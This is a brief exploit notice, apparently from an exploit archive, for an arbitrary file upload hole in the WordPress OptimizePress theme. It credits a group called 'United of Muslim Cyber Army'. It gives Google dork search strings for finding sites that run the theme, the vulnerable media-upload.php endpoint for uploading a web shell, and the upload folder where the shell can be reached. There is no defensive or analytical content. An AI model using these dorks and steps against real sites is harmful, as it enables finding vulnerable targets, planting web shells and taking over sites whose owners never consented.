WordPress OptimizePress插件任意文件上传漏洞

############################################################################# # Exploit Title: WordPress OptimizePress Themes File Upload Vulnerability # # Author: Eagle Eye # # Date: 21/11/2013 # # Themes Link: http://www.optimizepress.com/ # # Infected File: lib/admin/media-upload.php # # Category: webapps # # Google dork: inurl:/wp-content/themes/OptimizePress/ # # inurl:/wp-content/uploads/optpress/ # # Tested on : Windows/Linux # ############################################################################# # # #Exploit # # # #- Upload your shell # # # #http://127.0.0.1/wp-content/themes/OptimizePress/lib/admin/media-upload.php# # # #- Your shell is here # # # #http://127.0.0.1/wp-content/uploads/optpress/images_comingsoon/ # # # #.:: United of Muslim Cyber Army ::. # # # #############################################################################